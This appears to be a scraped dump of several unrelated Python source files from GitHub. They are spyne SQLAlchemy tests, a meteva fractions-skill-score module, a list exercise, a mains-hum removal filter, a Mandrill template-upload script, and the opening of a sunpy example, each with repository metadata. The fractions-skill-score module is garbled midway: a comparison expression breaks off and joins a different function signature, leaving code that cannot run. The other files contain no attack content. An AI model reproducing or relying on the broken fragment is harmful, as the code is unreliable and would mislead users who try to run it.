SomeOtherClass.customize(store_as='table')\n\n self.metadata.create_all()\n self.session.add(SomeClass())\n self.session.commit()\n\n def test_store_as_index(self):\n class SomeOtherClass(TableModel):\n __tablename__ = 'some_other_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n __table_args__ = {\"sqlite_autoincrement\": True}\n\n id = Integer32(primary_key=True)\n o = SomeOtherClass.customize(store_as='table', index='btree')\n\n self.metadata.create_all()\n idx, = SomeClass.__table__.indexes\n assert 'o_id' in idx.columns\n\n def test_scalar_collection(self):\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n\n id = Integer32(primary_key=True)\n values = Array(Unicode).store_as('table')\n\n self.metadata.create_all()\n\n self.session.add(SomeClass(id=1, values=['a', 'b', 'c']))\n self.session.commit()\n sc = self.session.query(SomeClass).get(1)\n assert sc.values == ['a', 'b', 'c']\n del sc\n\n sc = self.session.query(SomeClass).get(1)\n sc.values.append('d')\n self.session.commit()\n del sc\n sc = self.session.query(SomeClass).get(1)\n assert sc.values == ['a', 'b', 'c', 'd']\n\n sc = self.session.query(SomeClass).get(1)\n sc.values = sc.values[1:]\n self.session.commit()\n del sc\n sc = self.session.query(SomeClass).get(1)\n assert sc.values == ['b', 'c', 'd']\n\n def test_multiple_fk(self):\n class SomeChildClass(TableModel):\n __tablename__ = 'some_child_class'\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n i = Integer32\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n\n id = Integer32(primary_key=True)\n children = Array(SomeChildClass).store_as('table')\n mirror = SomeChildClass.store_as('table')\n\n self.metadata.create_all()\n\n children = [\n SomeChildClass(s='p', i=600),\n SomeChildClass(s='|', i=10),\n SomeChildClass(s='q', i=9),\n ]\n\n sc = SomeClass(children=children)\n self.session.add(sc)\n self.session.flush()\n sc.mirror = children[1]\n self.session.commit()\n del sc\n\n sc = self.session.query(SomeClass).get(1)\n assert ''.join([scc.s for scc in sc.children]) == 'p|q'\n assert sum([scc.i for scc in sc.children]) == 619\n\n def test_simple_fk(self):\n class SomeChildClass(TableModel):\n __tablename__ = 'some_child_class'\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n i = Integer32\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n\n id = Integer32(primary_key=True)\n child_id = Integer32(fk='some_child_class.id')\n\n foreign_keys = SomeClass.__table__.c['child_id'].foreign_keys\n assert len(foreign_keys) == 1\n fk, = foreign_keys\n assert fk._colspec == 'some_child_class.id'\n\n def test_multirel_single_table(self):\n class SomeChildClass(TableModel):\n __tablename__ = 'some_child_class'\n\n id = Integer32(primary_key=True)\n s = Unicode(64)\n\n class SomeOtherChildClass(TableModel):\n __tablename__ = 'some_other_child_class'\n\n id = Integer32(primary_key=True)\n i = Integer32\n\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n\n id = Integer32(primary_key=True)\n\n children = Array(SomeChildClass,\n store_as=table(\n multi='children', lazy='joined',\n left='parent_id', right='child_id',\n fk_left_ondelete='cascade',\n fk_right_ondelete='cascade',\n ),\n )\n\n other_children = Array(SomeOtherChildClass,\n store_as=table(\n multi='children', lazy='joined',\n left='parent_id', right='other_child_id',\n fk_left_ondelete='cascade',\n fk_right_ondelete='cascade',\n ),\n )\n\n t = SomeClass.Attributes.sqla_metadata.tables['children']\n\n fkp, = t.c.parent_id.foreign_keys\n assert fkp._colspec == 'some_class.id'\n\n fkc, = t.c.child_id.foreign_keys\n assert fkc._colspec == 'some_child_class.id'\n\n fkoc, = t.c.other_child_id.foreign_keys\n assert fkoc._colspec == 'some_other_child_class.id'\n\n def test_reflection(self):\n class SomeClass(TableModel):\n __tablename__ = 'some_class'\n\n id = Integer32(primary_key=True)\n s = Unicode(32)\n\n TableModel.Attributes.sqla_metadata.create_all()\n\n # create a new table model with empty metadata\n TM2 = TTableModel()\n TM2.Attributes.sqla_metadata.bind = self.engine\n\n # fill it with information from the db\n TM2.Attributes.sqla_metadata.reflect()\n\n # convert sqla info to spyne info\n class Reflected(TM2):\n __table__ = TM2.Attributes.sqla_metadata.tables['some_class']\n\n pprint(dict(Reflected._type_info).items())\n assert issubclass(Reflected._type_info['id'], Integer)\n\n # this looks at spyne attrs\n assert [k for k, v in get_pk_columns(Reflected)] == ['id']\n\n # this looks at sqla attrs\n assert [k for k, v in Reflected.get_primary_keys()] == ['id']\n\n assert issubclass(Reflected._type_info['s'], Unicode)\n assert Reflected._type_info['s'].Attributes.max_len == 32\n\n def _test_sqlalchemy_remapping(self):\n class SomeTable(TableModel):\n __tablename__ = 'some_table'\n id = Integer32(pk=True)\n i = Integer32\n s = Unicode(32)\n\n class SomeTableSubset(TableModel):\n __table__ = SomeTable.__table__\n\n id = Integer32(pk=True) # sqla session doesn't work without pk\n i = Integer32\n\n class SomeTableOtherSubset(TableModel):\n __table__ = SomeTable.__table__\n _type_info = [(k, v) for k, v in SomeTable._type_info.items()\n if k in ('id', 's')]\n\n self.session.add(SomeTable(id=1, i=2, s='s'))\n self.session.commit()\n\n st = self.session.query(SomeTable).get(1)\n sts = self.session.query(SomeTableSubset).get(1)\n stos = self.session.query(SomeTableOtherSubset).get(1)\n\n sts.i = 3\n sts.s = 'ss' # will not be flushed to db\n self.session.commit()\n\n assert st.s == 's'\n assert stos.i == 3\n\n def test_file_storage(self):\n class C(TableModel):\n __tablename__ = \"c\"\n\n id = Integer32(pk=True)\n f = File(store_as=HybridFileStore('test_file_storage', 'json'))\n\n self.metadata.create_all()\n c = C(f=File.Value(name=u\"name\", type=u\"type\", data=[b\"data\"]))\n self.session.add(c)\n self.session.flush()\n self.session.commit()\n\n c = self.session.query(C).get(1)\n print(c)\n assert c.f.name == \"name\"\n assert c.f.type == \"type\"\n assert c.f.data[0][:] == b\"data\"\n\n def test_append_field_complex_existing_column(self):\n class C(TableModel):\n __tablename__ = \"c\"\n u = Unicode(pk=True)\n\n class D(TableModel):\n __tablename__ = \"d\"\n d = Integer32(pk=True)\n c = C.store_as('table')\n\n C.append_field('d', D.store_as('table'))\n assert C.Attributes.sqla_mapper.get_property('d').argument is D\n\n def test_append_field_complex_delayed(self):\n class C(TableModel):\n __tablename__ = \"c\"\n u = Unicode(pk=True)\n\n class D(C):\n i = Integer32\n\n C.append_field('d', DateTime)\n\n assert D.Attributes.sqla_mapper.has_property('d')\n\n def _test_append_field_complex_explicit_existing_column(self):\n # FIXME: Test something!\n\n class C(TableModel):\n __tablename__ = \"c\"\n id = Integer32(pk=True)\n\n # c already also produces c_id. this is undefined behaviour, one of them\n # gets ignored, whichever comes first.\n class D(TableModel):\n __tablename__ = \"d\"\n id = Integer32(pk=True)\n c = C.store_as('table')\n c_id = Integer32(15)\n\n def test_append_field_complex_circular_array(self):\n class C(TableModel):\n __tablename__ = \"cc\"\n id = Integer32(pk=True)\n\n class D(TableModel):\n __tablename__ = \"dd\"\n id = Integer32(pk=True)\n c = Array(C).customize(store_as=table(right='dd_id'))\n\n C.append_field('d', D.customize(store_as=table(left='dd_id')))\n self.metadata.create_all()\n\n c1, c2 = C(id=1), C(id=2)\n d = D(id=1, c=[c1, c2])\n self.session.add(d)\n self.session.commit()\n assert c1.d.id == 1\n\n def test_append_field_complex_new_column(self):\n class C(TableModel):\n __tablename__ = \"c\"\n u = Unicode(pk=True)\n\n class D(TableModel):\n __tablename__ = \"d\"\n id = Integer32(pk=True)\n\n C.append_field('d', D.store_as('table'))\n assert C.Attributes.sqla_mapper.get_property('d').argument is D\n assert isinstance(C.Attributes.sqla_table.c['d_id'].type,\n sqlalchemy.Integer)\n\n def test_append_field_array(self):\n class C(TableModel):\n __tablename__ = \"c\"\n id = Integer32(pk=True)\n\n class D(TableModel):\n __tablename__ = \"d\"\n id = Integer32(pk=True)\n\n C.append_field('d', Array(D).store_as('table'))\n assert C.Attributes.sqla_mapper.get_property('d').argument is D\n print(repr(D.Attributes.sqla_table))\n assert isinstance(D.Attributes.sqla_table.c['c_id'].type,\n sqlalchemy.Integer)\n\n def test_append_field_array_many(self):\n class C(TableModel):\n __tablename__ = \"c\"\n id = Integer32(pk=True)\n\n class D(TableModel):\n __tablename__ = \"d\"\n id = Integer32(pk=True)\n\n C.append_field('d', Array(D).store_as(table(multi='c_d')))\n assert C.Attributes.sqla_mapper.get_property('d').argument is D\n rel_table = C.Attributes.sqla_metadata.tables['c_d']\n assert 'c_id' in rel_table.c\n assert 'd_id' in rel_table.c\n\n def test_append_field_complex_cust(self):\n class C(TableModel):\n __tablename__ = \"c\"\n id = Integer32(pk=True)\n\n class D(TableModel):\n __tablename__ = \"d\"\n id = Integer32(pk=True)\n c = Array(C).store_as('table')\n\n C.append_field('d', D.customize(\n nullable=False,\n store_as=table(left='d_id'),\n ))\n assert C.__table__.c['d_id'].nullable == False\n\n def _test_append_field_cust(self):\n class C(TableModel):\n __tablename__ = \"c\"\n id = Integer32(pk=True)\n\n C2 = C.customize()\n\n C.append_field(\"s\", Unicode)\n\n C()\n\n self.metadata.create_all()\n\n assert \"s\" in C2._type_info\n assert \"s\" in C2.Attributes.sqla_mapper.columns\n\n self.session.add(C2(s='foo'))\n self.session.commit()\n assert self.session.query(C).first().s == 'foo'\n\n def test_polymorphic_cust(self):\n class C(TableModel):\n __tablename__ = \"c\"\n __mapper_args__ = {\n 'polymorphic_on': 't',\n 'polymorphic_identity': 1,\n }\n\n id = Integer32(pk=True)\n t = M(Integer32)\n\n class D(C):\n __mapper_args__ = {\n 'polymorphic_identity': 2,\n }\n d = Unicode\n\n D2 = D.customize()\n\n assert C().t == 1\n assert D().t == 2\n\n # That's the way SQLAlchemy works. Don't use customized classes in\n # anywhere other than interface definitions\n assert D2().t == None\n\n def test_base_append_simple(self):\n class B(TableModel):\n __tablename__ = 'b'\n __mapper_args__ = {\n 'polymorphic_on': 't',\n 'polymorphic_identity': 1,\n }\n\n id = Integer32(pk=True)\n t = M(Integer32)\n\n class C(B):\n __mapper_args__ = {\n 'polymorphic_identity': 1,\n }\n s = Unicode\n\n B.append_field('i', Integer32)\n\n self.metadata.create_all()\n\n self.session.add(C(s=\"foo\", i=42))\n self.session.commit()\n\n c = self.session.query(C).first()\n\n assert c.s == 'foo'\n assert c.i == 42\n assert c.t == 1\n\n def test_base_append_complex(self):\n class B(TableModel):\n __tablename__ = 'b'\n __mapper_args__ = {\n 'polymorphic_on': 't',\n 'polymorphic_identity': 1,\n }\n\n id = Integer32(pk=True)\n t = M(Integer32)\n\n class C(B):\n __mapper_args__ = {\n 'polymorphic_identity': 1,\n }\n s = Unicode\n\n class D(TableModel):\n __tablename__ = 'd'\n id = Integer32(pk=True)\n i = M(Integer32)\n\n B.append_field('d', D.store_as('table'))\n\n self.metadata.create_all()\n\n self.session.add(C(d=D(i=42)))\n self.session.commit()\n\n c = self.session.query(C).first()\n\n assert c.d.i == 42\n\n\nclass TestSqlAlchemySchemaWithPostgresql(unittest.TestCase):\n def setUp(self):\n self.metadata = TableModel.Attributes.sqla_metadata = MetaData()\n\n def test_enum(self):\n table_name = \"test_enum\"\n\n enums = ('SUBSCRIBED', 'UNSUBSCRIBED', 'UNCONFIRMED')\n\n class SomeClass(TableModel):\n __tablename__ = table_name\n\n id = Integer32(primary_key=True)\n e = Enum(*enums, type_name='status_choices')\n\n t = self.metadata.tables[table_name]\n assert 'e' in t.c\n assert tuple(t.c.e.type.enums) == enums\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"arskom/spyne","sub_path":"spyne/test/test_sqlalchemy.py","file_name":"test_sqlalchemy.py","file_ext":"py","file_size_in_byte":39896,"program_lang":"python","lang":"en","doc_type":"code","stars":1114,"dataset":"github-code","pt":"70"} +{"seq_id":"40957826206","text":"import meteva\nimport numpy as np\nfrom scipy.ndimage.filters import uniform_filter\nimport datetime\nimport pandas as pd\n\ndef fss_merge(fss_df,s = None):\n pass\n\n\ndef fss(grd_ob,grd_fo,grade_list=[1e-30],half_window_size_list=[1],compare = \">=\", masker=None):\n '''\n :param grd_ob:\n :param grd_fo:\n :param grade_list:\n :param half_window_sizes_list:\n :param compare:\n :param masker_xy:\n :return:\n '''\n\n grd_ob_list = meteva.base.fun.split_grd(grd_ob,used_coords = [\"time\"])\n grd_ob_dict = {}\n for i in range(len(grd_ob_list)):\n grd_ob_one = grd_ob_list[i]\n time1 = meteva.base.all_type_time_to_datetime(grd_ob_one[\"time\"].values[0])\n grd_ob_dict[time1] = grd_ob_one\n grd_fo_list = meteva.base.fun.split_grd(grd_fo)\n grid0 = meteva.base.get_grid_of_data(grd_fo_list[0])\n grid0 = meteva.base.grid(grid0.glon,grid0.glat)\n\n if masker is not None:\n masker1 = meteva.base.interp_gs_nearest(masker,grid0)\n masker_xy = masker1.values.squeeze()\n else:\n masker_xy = masker\n\n\n nw = len(half_window_size_list)\n nt = len(grade_list)\n result = []\n for i in range(len(grd_fo_list)):\n grd_fo_one = grd_fo_list[i]\n time1 = grd_fo_one[\"time\"].values[0]\n dtime1 = int(grd_fo_one[\"dtime\"].values[0])\n member1 = grd_fo_one[\"member\"].values[0]\n time_ob = meteva.base.all_type_time_to_datetime(time1) + datetime.timedelta(hours=dtime1)\n if time_ob in grd_ob_dict.keys():\n grd_ob_one = grd_ob_dict[time_ob]\n ob_xy = grd_ob_one.values.squeeze()\n fo_xy = grd_fo_one.values.squeeze()\n fbs_pobfo_array = fbs_pobfo(ob_xy,fo_xy,grade_list = grade_list,half_window_size_list = half_window_size_list,\n compare = compare,masker = masker_xy)\n\n fss1 = 1 - fbs_pobfo_array[...,2]/(fbs_pobfo_array[...,0]+fbs_pobfo_array[...,1] + 1e-30)\n for j in range(nw):\n for k in range(nt):\n result_one = {\"time\":time1,\"dtime\":dtime1,\"fname\":member1,\n \"half_window_size\":half_window_size_list[j],\"grade\":grade_list[k],\n \"pob\":fbs_pobfo_array[j,k,0],\n \"pfo\":fbs_pobfo_array[j,k,1],\n \"fbs\": fbs_pobfo_array[j, k, 2],\n \"fss\":fss1[j,k]}\n result.append(result_one)\n df = pd.DataFrame(result)\n result_sta = meteva.base.sta_data(df)\n return result_sta\n\n\ndef fbs_pobfo(ob_xy, fo_xy,grade_list=[1e-30],half_window_size_list=[1],compare = \">=\", masker=None):\n '''\n :param Ob: 实况数据 2维的numpy\n :param Fo: 实况数据 2维的numpy\n :param window_sizes_list: 卷积窗口宽度的列表,以格点数为单位\n :param threshold_list: 事件发生的阈值\n :param Masker: 2维的numpy检验的关注区域,在Masker网格值取值为0或1,函数只对网格值等于1的区域的数据进行计算。\n :return:\n '''\n def moving_ave(dat_xy, half_window_size):\n size = half_window_size * 2 + 1\n dat1 = uniform_filter(dat_xy, size=size)\n dat1 = np.round(dat1[:, :], 10)\n return dat1\n\n if compare not in [\">=\",\">\",\"<\",\"<=\"]:\n print(\"compare 参数只能是 >= > < <= 中的一种\")\n return\n shape = ob_xy.shape\n nw = len(half_window_size_list)\n nt = len(grade_list)\n result = np.zeros((nw,nt,3))\n if masker is None:\n count = ob_xy.size\n else:\n count = np.sum(masker)\n\n for j in range(nt):\n ob_01 = np.zeros(shape)\n fo_01 = np.zeros(shape)\n if compare == \">=\":\n ob_01[ob_xy>=grade_list[j]] = 1\n fo_01[fo_xy>=grade_list[j]] = 1\n elif compare ==\"<=\":\n ob_01[ob_xy<=grade_list[j]] = 1\n fo_01[fo_xy<=grade_list[j]] = 1\n elif compare ==\">\":\n ob_01[ob_xy>grade_list[j]] = 1\n fo_01[fo_xy>grade_list[j]] = 1\n else:\n ob_01[ob_xy-\",window_size = None):\n '''\n :param Ob: 二维numpy数组Ob[i,j],其中i取值为0 - 站点数, j为取值为0 - 时效维度的size\n :param Fo: 二维numpy数组Fo[i,j],其中i取值为0 - 站点数, j为取值为0 - 时效维度的size\n :param window_size:\n :param grade_list:\n :return:\n '''\n mid_array = mid_fss_time(Ob,Fo,grade_list,window_size=window_size,compair = compare)\n result = fss_time_base_on_mid(mid_array)\n return result\n\n#\n\ndef merge_mid_fss_time(mid_array1,mid_array2):\n '''\n\n :param mid_array1:\n :param mid_array2:\n :return:\n '''\n if mid_array1 is None:\n return mid_array2\n if mid_array2 is None:\n return mid_array1\n return mid_array1 + mid_array2\n\ndef mid_fss_time(Ob,Fo,grade_list = [1e-30],compare =\">-\",compair = \">=\",window_size = None):\n '''\n :param Ob: 二维numpy数组Ob[i,j],其中i取值为0 - 站点数, j为取值为0 - 时效维度的size\n :param Fo: 二维numpy数组Fo[i,j],其中i取值为0 - 站点数, j为取值为0 - 时效维度的size\n :param window_size:\n :param grade_list:\n :return:\n '''\n if compair not in [\">=\",\">\",\"<\",\"<=\"]:\n print(\"compair 参数只能是 >= > < <= 中的一种\")\n return\n shape = Ob.shape\n if len(shape) == 1:\n Ob = Ob.reshape(1,shape[0])\n Fo = Fo.reshape(1,shape[0])\n shape = Ob.shape\n if window_size is None:\n window_size = shape[1]//3\n left_size = shape[1] - window_size\n ng = len(grade_list)\n result = np.zeros((ng,window_size,left_size,2))\n for i in range(1,1+window_size):\n for j in range(left_size):\n for g in range(ng):\n ob1 = np.zeros((shape[0],i))\n fo1 = np.zeros((shape[0],i))\n if compair == \">=\":\n ob1[Ob[:, j + window_size -i:j+window_size] >= grade_list[g]] = 1\n fo1[Fo[:, j + window_size -i:j+window_size] >= grade_list[g]] = 1\n elif compair == \"<=\":\n ob1[Ob[:, j + window_size -i:j+window_size] <= grade_list[g]] = 1\n fo1[Fo[:, j + window_size -i:j+window_size] <= grade_list[g]] = 1\n elif compair == \">\":\n ob1[Ob[:, j + window_size -i:j+window_size] > grade_list[g]] = 1\n fo1[Fo[:, j + window_size -i:j+window_size] > grade_list[g]] = 1\n elif compair == \"<\":\n ob1[Ob[:, j + window_size -i:j+window_size] < grade_list[g]] = 1\n fo1[Fo[:, j + window_size -i:j+window_size] < grade_list[g]] = 1\n\n ob_hap_p =np.sum(ob1,axis=1)\n fo_hap_p =np.sum(fo1,axis=1)\n result[g,i - 1, j, 0] = np.sum(np.power(ob_hap_p - fo_hap_p, 2))\n result[g,i - 1, j, 1] = np.sum(np.power(ob_hap_p, 2)) + np.sum(np.power(fo_hap_p, 2))\n return result\n\n\n\ndef fss_fof(fbs_pobfo_array):\n '''\n :param fbs_pobfo_array:\n :return:\n '''\n\n if fbs_pobfo_array[..., 0].size == 1:\n fss1 = 1 - fbs_pobfo_array[2] / (fbs_pobfo_array[0] + fbs_pobfo_array[1] + 1e-30)\n else:\n fss1 = 1 - fbs_pobfo_array[..., 2] / (fbs_pobfo_array[..., 0] + fbs_pobfo_array[..., 1] + 1e-30)\n return fss1\n","repo_name":"nmcdev/meteva","sub_path":"meteva/method/space/fss/fss.py","file_name":"fss.py","file_ext":"py","file_size_in_byte":8166,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"70"} +{"seq_id":"29908228879","text":"import time\n\n# O(1)\ndef push_back(x):\n A.append(x)\n\n# O(N)\ndef push_front(x):\n global A\n A.insert(0, x)\n\n# O(N/2)\ndef push_middle(x):\n global A\n A.insert((len(A)+1)//2, x)\n\n# O(1)\ndef get(i):\n return A[i]\n\ndef print_list():\n for i in A:\n print(i, end=' -> ')\n print(\"None\")\n\nt = time.time_ns()\nfilename = input()\nA = []\nfile = open(filename, \"r\")\nN = int(file.readline())\nfilename = f\"myOutput1_{N}\"\nfile1 = open(\"Outputs/\"+filename, \"w\")\nwhile N != 0:\n inp = file.readline()\n lst = inp.split()\n S = lst[0]\n x = int(lst[1])\n if S == \"push_back\":\n push_back(x)\n elif S == \"push_front\":\n push_front(x)\n elif S == \"push_middle\":\n push_middle(x)\n else:\n file1.write(f\"{A[x]}\" + \"\\n\")\n # print(get(x))\n N -= 1\nfile.close() \nprint(f\"Time used: {(time.time_ns() - t)/1000}\")\nprint_list()\n# print_list()","repo_name":"jrundht/IN2010","sub_path":"Oblig1/teque/teque.py","file_name":"teque.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"29867087938","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import linalg\n\nfrom .spectrum import Spectrum\nfrom .progress_bar import ProgressBar\n\n\ndef dehummer(sig, fs, enf=50.0, hmax=5, block_length=2048, draw='',\n progress_bar=True):\n \"\"\"Removes the ENF signal and its harmonics\n\n sig : input 1D signal\n fs : sampling frequency\n enf : electrical network frequency\n hmax : maximum number of harmonics\n block_length : length of FFTs\n draw : list of plots\n\n returns the denoised signal\n \"\"\"\n hmax = min(hmax, int(0.5 * fs / enf))\n if sig.ndim > 2 or (sig.ndim == 2 and min(sig.shape) > 1):\n raise ValueError('Input signal should be 1D. Got %s.' % (sig.shape, ))\n input_shape = sig.shape\n sig = np.ravel(sig)\n\n block_length = min(block_length, sig.size)\n block_length_o2 = block_length // 2\n\n # -------- the window and its shift by block_length/2 must sum to 1.0\n window = np.hamming(block_length)\n window[0:block_length_o2] /= (\n window[0:block_length_o2] + window[block_length_o2:block_length])\n window[block_length_o2:block_length] = np.flipud(window[0:block_length_o2])\n\n if hmax == 0:\n return sig\n result = np.zeros_like(sig)\n\n # -------- prepare an array with estimated frequencies\n tmax = len(sig)\n freq = np.zeros(2 + 2 * tmax // block_length)\n kf = 0\n if progress_bar:\n bar = ProgressBar(max_value=len(freq), title='dehumming %.0f Hz' % enf)\n\n # -------- process successive blocks\n for tmid in range(0, tmax + block_length_o2, block_length_o2):\n # -------- initial and final blocks are truncated\n tstart = tmid - block_length_o2\n if tstart < 0:\n wstart = -tstart\n tstart = 0\n else:\n wstart = 0\n tstop = tmid + block_length_o2\n if tstop > tmax:\n wstop = block_length + tmax - tstop\n tstop = tmax\n else:\n wstop = block_length\n\n # -------- search for the frequency\n f0 = enf\n sigenf = single_estimate(sig[tstart:tstop], f0, fs, hmax)\n best_f = f0\n best_sigout = sig[tstart:tstop] - sigenf\n best_energy = np.dot(best_sigout.T, best_sigout)\n for delta in {0.1, 0.01}:\n shift_max = 9 if delta == 0.01 else 9\n shifts = np.arange(1, shift_max + 1)\n shifts = np.r_[-shifts[::-1], shifts]\n\n for shift in shifts:\n f = f0 + shift * delta\n sigenf = single_estimate(sig[tstart:tstop], f, fs, hmax)\n sigout = sig[tstart:tstop] - sigenf\n energy = np.dot(sigout.T, sigout)\n # we keep the frequency f that removes the most energy\n if energy < best_energy:\n best_f = f\n best_sigout = sigout\n best_energy = energy\n f0 = best_f\n\n # -------- this block has been processed, save it\n result[tstart:tstop] += best_sigout * window[wstart:wstop]\n\n freq[kf] = best_f\n kf += 1\n if progress_bar and kf % 10 == 0:\n bar.update(kf)\n if progress_bar:\n bar.update(bar.max_value)\n\n # -------- plot estimated electrical network frequency\n if 'f' in draw or 'z' in draw:\n t = np.linspace(0, tmax / fs, len(freq))\n plt.figure('Estimated electrical network frequency')\n plt.title('Estimated electrical network frequency')\n\n plt.plot(t, freq / enf, label='%.0fHz' % enf)\n plt.ylabel('ENF fluctuation'),\n plt.xlabel('Time (sec)')\n plt.legend(loc=0)\n\n # -------- plot long term spectum of noisy and denoised signals\n if 'd' in draw or 'z' in draw:\n sp = Spectrum(block_length=block_length, fs=fs, donorm=True,\n wfunc=np.blackman)\n sp.periodogram(sig)\n sp.periodogram(result, hold=True)\n sp.plot('Power spectral density before/after dehumming', fscale='lin')\n\n return result.reshape(input_shape)\n\n\ndef single_estimate(sigin, f, fs, hmax):\n \"\"\"Estimate the contribution of electrical network\n signal in sigin, if ENF is f.\n\n return the estimated signal\n \"\"\"\n X = np.empty((len(sigin), hmax))\n fact = 2.0 * np.pi * f / fs * np.arange(1, hmax + 1)[:, None]\n p = np.arange(len(sigin))[:, None]\n X = np.dot(fact, p.T)\n X = np.concatenate([X, X + np.pi / 2]).T\n X = np.cos(X)\n XX = np.dot(X.T, X)\n Xy = np.dot(X.T, sigin)\n theta = linalg.solve(XX, Xy)\n return np.dot(X, theta)\n","repo_name":"pactools/pactools","sub_path":"pactools/utils/dehummer.py","file_name":"dehummer.py","file_ext":"py","file_size_in_byte":4550,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"70"} +{"seq_id":"73625347106","text":"import requests, os, sys\nimport json\nimport csv\nfrom collections import namedtuple\n\n# Readme\n# This script lets you update Mandrill Templates. You can specify a folder\n# with all the Templates you want to update as html + a CSV file containing\n# the metadata of the Templates. The filename must match the slug of the Template\n# you want to update. The script will push the HTML + the Metadata\n# to the Mandrill API thereby updating (read: OVERWRITING) the Templates\n# with the data you provide.\n\n# You can specify some things here:\n\n# Adjust the API Key\napi_key = \"\"\n# Change Endpoint if necessary\n# https://mandrillapp.com/api/docs/templates.JSON.html#method=update\nendpoint = \"https://mandrillapp.com/api/1.0/templates/update.json\"\n\n# Specify the directory that contains the Template Html Code you want to update.\n# Name the Files after the respective Slug of the Template! The Html in the File\n# will overwrite the Html Code of the Template that matches the Slug!\ntemplate_directory = \"../uploadThese\"\n\n# Specify the name of the file that contains the Metadata of the templates, i.e.:\n# Subject header, From header, To header, labels\nmeta_path = \"../metadata\"\nmeta_filename = \"metadata.csv\"\n\nFROM_EMAIL = \"from_email\"\nFROM_NAME = \"from_name\"\nSUBJECT = \"subject\"\nLABELS = \"labels\"\n\n\ndef remove_file_ending(filename):\n if (filename.endswith(\".html\", 0, len(filename))):\n return filename[0:len(filename) - 5]\n else:\n return filename\n\n\ndef add_metadata(payload, meta, slug):\n if meta is None:\n return payload\n\n print(\"With metadata: [\", end=\"\")\n if (FROM_EMAIL in meta and meta[FROM_EMAIL]):\n print(FROM_EMAIL + \": \\'\" + str(meta[FROM_EMAIL]) + \"\\'\", end=\"\")\n payload.update({FROM_EMAIL: meta[\"from_email\"]})\n\n if (FROM_NAME in meta and meta[FROM_NAME]):\n print(FROM_NAME + \": \\'\" + str(meta[FROM_NAME]) + \"\\'\", end=\"\")\n payload.update({FROM_NAME: meta[FROM_NAME]})\n\n if (SUBJECT in meta and meta[SUBJECT]):\n print(SUBJECT + \": \\'\" + str(meta[SUBJECT]) + \"\\'\", end=\"\")\n payload.update({SUBJECT: meta[SUBJECT]})\n\n if (LABELS in meta and meta[LABELS]):\n print(LABELS + \": \\'\" + str(meta[LABELS]) + \"\\'\", end=\"\")\n payload.update({LABELS: meta[LABELS]})\n\n print(\"]\", end=\"\")\n\n return payload\n\n\ndef prepare_json(api_key, template, slug, meta):\n payload = {\n \"key\": api_key,\n \"name\": slug,\n \"code\": template\n }\n\n payload = add_metadata(payload, meta, slug)\n\n return json.dumps(payload)\n\n\ndef read_template(template_directory, template_filename):\n with open(os.path.join(template_directory, template_filename), 'r') as template_file:\n template = template_file.read()\n return template\n\n\ndef process_meta_file(meta_path, meta_filename):\n with open(os.path.join(meta_path, meta_filename), 'r') as meta_file:\n reader = csv.reader(meta_file)\n\n meta_dict = {}\n\n for rows in reader:\n labels = []\n for i in [4, 5, 6, 7]:\n label = rows[i]\n if label:\n labels.append(label)\n\n meta_dict.update({rows[0]: {SUBJECT: rows[1], FROM_EMAIL: rows[2], FROM_NAME: rows[3], LABELS: labels}})\n\n return meta_dict\n\n\ndef process_template_files(template_directory):\n error_counter = 0;\n\n list = []\n\n for template_file in os.listdir(template_directory):\n if not (template_file.endswith('.html')):\n error_counter += 1\n list.append(template_file)\n\n if (error_counter > 0):\n sys.exit(\n \"Some Templates don't have .html ending or some non-template files existant in \" + template_directory + \". Aborting...\")\n else:\n return list\n\n\ndef print_welcome_message(template_files):\n print(\"\")\n print(\"This script updates Templates for Mandrill API key \" + api_key)\n print(\"\")\n print(\"Usage: The script expects the template .html files in the subdirecotry \\\"\" + template_directory + \"\\\" folder.\")\n print(\"The filenames must match the slugs of the respective template.\")\n print(\"The script also expects the template metadate in \\\"\" + meta_path + \"/\" + meta_filename + \"\\\".\")\n print(\"\")\n print(\"The following templates will be updated:\")\n print(\"-----------------\")\n for template_file in template_files:\n print(template_file)\n print(\"-----------------\")\n print(\"\")\n try:\n input(\"Press enter continue or ctl+c to abort...\")\n return\n except KeyboardInterrupt:\n print(\"Aborted.\")\n sys.exit()\n\n\ndef push_files_to_mandrill(template_files, metainformations):\n successes = 0\n\n print(\"\")\n print(\"Pushing files:\")\n print(\"=================\")\n\n for template_file in template_files:\n print(\"Updating \" + template_file + \"...\", end=\"\")\n\n slug = remove_file_ending(template_file)\n template = read_template(template_directory, template_file)\n meta = None\n if (slug in metainformations):\n meta = metainformations[slug]\n else:\n print(\"Not adding any metadata.\"),\n payload = prepare_json(api_key, template, slug, meta)\n\n response = requests.post(endpoint, payload)\n\n if response is None:\n print(\"Error: Response is null. Nothing updated.\")\n else:\n if response.status_code != 200:\n print(\"Error: Status Code is \" + str(response.status_code))\n print(\"Response JSON is \" + str(response.json()))\n if response.status_code == 200:\n successes += 1\n print(\"success\")\n\n print(\"=================\")\n print(\"\")\n return successes\n\n\ndef main():\n templates = process_template_files(template_directory)\n\n metainformation = process_meta_file(meta_path, meta_filename)\n\n print_welcome_message(templates)\n\n successfully_pushed_files = push_files_to_mandrill(templates, metainformation)\n\n errors = len(templates) - successfully_pushed_files\n\n print(\"Successfully pushed {0} templates. Errors: {1}\".format(successfully_pushed_files, errors))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"githubjakob/update-mandrill-templates","sub_path":"updateMandrillTemplates.py","file_name":"updateMandrillTemplates.py","file_ext":"py","file_size_in_byte":6131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26783554542","text":"\"\"\"\n============================================\nDownloading and plotting a HMI synoptic data\n============================================\n\nThis example shows how to download HMI synoptic data from JSOC and make a 